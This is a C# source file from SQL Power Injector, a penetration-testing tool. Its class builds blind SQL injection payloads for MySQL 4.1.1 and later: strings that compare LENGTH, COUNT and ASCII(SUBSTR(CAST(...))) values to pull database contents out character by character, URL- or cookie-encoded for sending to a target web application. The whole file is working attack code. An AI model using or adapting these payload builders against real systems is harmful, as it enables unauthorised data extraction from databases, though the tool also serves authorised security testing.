//*********************************************************************
// //
// SQL Power Injector 1.2 Copyright (c) 2006-2007 Francois Larouche //
// //
// Author : francois.larouche@sqlpowerinjector.com //
// Web Site: www.sqlpowerinjector.com //
// //
//*******************************************************************//
using System;
namespace SQLPowerInjector.DatabaseString{
/// <summary>
/// Summary description for DatabaseStringMySQL411AndOver.
/// </summary>
public class DatabaseStringMySQL411AndOver : DatabaseStringBaseType
{
#region Constructor
public DatabaseStringMySQL411AndOver(enuEncodingType encType)
{
base.PDatabaseType = enuDatabaseType.MySql411AndOver;
base.PEncodingType = encType;
}
#endregion
public override string GetLengthPostDataString(string startingString, string varyingString, string endingString, string curNumber, string comparitiveString, bool isDistinct, bool useTop, int topValue)
{
string lenPostDataString = "";
lenPostDataString = curNumber + comparitiveString + "( " +
(isDistinct ? "DISTINCT " : "") + "LENGTH(" + varyingString + ") " + endingString;
if(base.PEncodingType == enuEncodingType.URLEncoding)
lenPostDataString = Utilities.EncodeURL(startingString + lenPostDataString);
else if(base.PEncodingType == enuEncodingType.CookieEncoding)
lenPostDataString = Utilities.EncodeCookie(startingString, false) + Utilities.EncodeCookie(lenPostDataString, true);
return lenPostDataString;
}
public override string GetCountPostDataString(string startingString, string varyingString, string endingString, string curNumber, string comparitiveString)
{
string countPostDataString = "";
countPostDataString = curNumber + comparitiveString + "(SELECT COUNT(" + varyingString + ") " + endingString;
if(base.PEncodingType == enuEncodingType.URLEncoding)
countPostDataString = Utilities.EncodeURL(startingString + countPostDataString);
else if(base.PEncodingType == enuEncodingType.CookieEncoding)
countPostDataString = Utilities.EncodeCookie(startingString, false) + Utilities.EncodeCookie(countPostDataString, true);
return countPostDataString;
}
public override string GetWordPostDataString(string startingString, string varyingString, string endingString, string curNumber, string curChar, string lenString, string comparitiveString, bool isDistinct, bool useTop, int topValue, bool isCaseInsensitive)
{
string wordPostDataString = "";
wordPostDataString = curNumber + comparitiveString + "(SELECT " + (isDistinct ? "DISTINCT " : "") +
"ASCII(SUBSTR(CAST(" + varyingString + " AS CHAR(" + lenString + "))," + curChar + ",1)) " + endingString;
if(base.PEncodingType == enuEncodingType.URLEncoding)
wordPostDataString = Utilities.EncodeURL(startingString + wordPostDataString);
else if(base.PEncodingType == enuEncodingType.CookieEncoding)
wordPostDataString = Utilities.EncodeCookie(startingString, false) + Utilities.EncodeCookie(wordPostDataString, true);
return wordPostDataString;
}
public override string GetToolTipLengthPostDataString(string startingString, string varyingString, string endingString, string startingLength, bool isDistinct, bool useTop, int topValue)
{
string lenPostDataString = "";
lenPostDataString = startingString + startingLength + " >( " + (isDistinct ? "DISTINCT " : "") +
"LENGTH(" + varyingString + ") " + endingString;
return lenPostDataString;
}
public override string GetToolTipCountPostDataString(string startingString, string varyingString, string endingString, string startingCount)
{
string countPostDataString = "";
countPostDataString = startingString + startingCount + ">(SELECT COUNT(" + varyingString + ") " + endingString;
return countPostDataString;
}
public override string GetToolTipWordPostDataString(string startingString, string varyingString, string endingString, string startingLength, bool isDistinct, bool useTop, int topValue, bool isCaseInsensitive)
{
string wordPostDataString = "";
wordPostDataString = startingString + startingLength + ">(SELECT " + (isDistinct ? "DISTINCT " : "") +
"ASCII(SUBSTRING(CAST(" + varyingString + " AS CHAR(4000)),1,1)) " + endingString;
return wordPostDataString;
}
}
}
|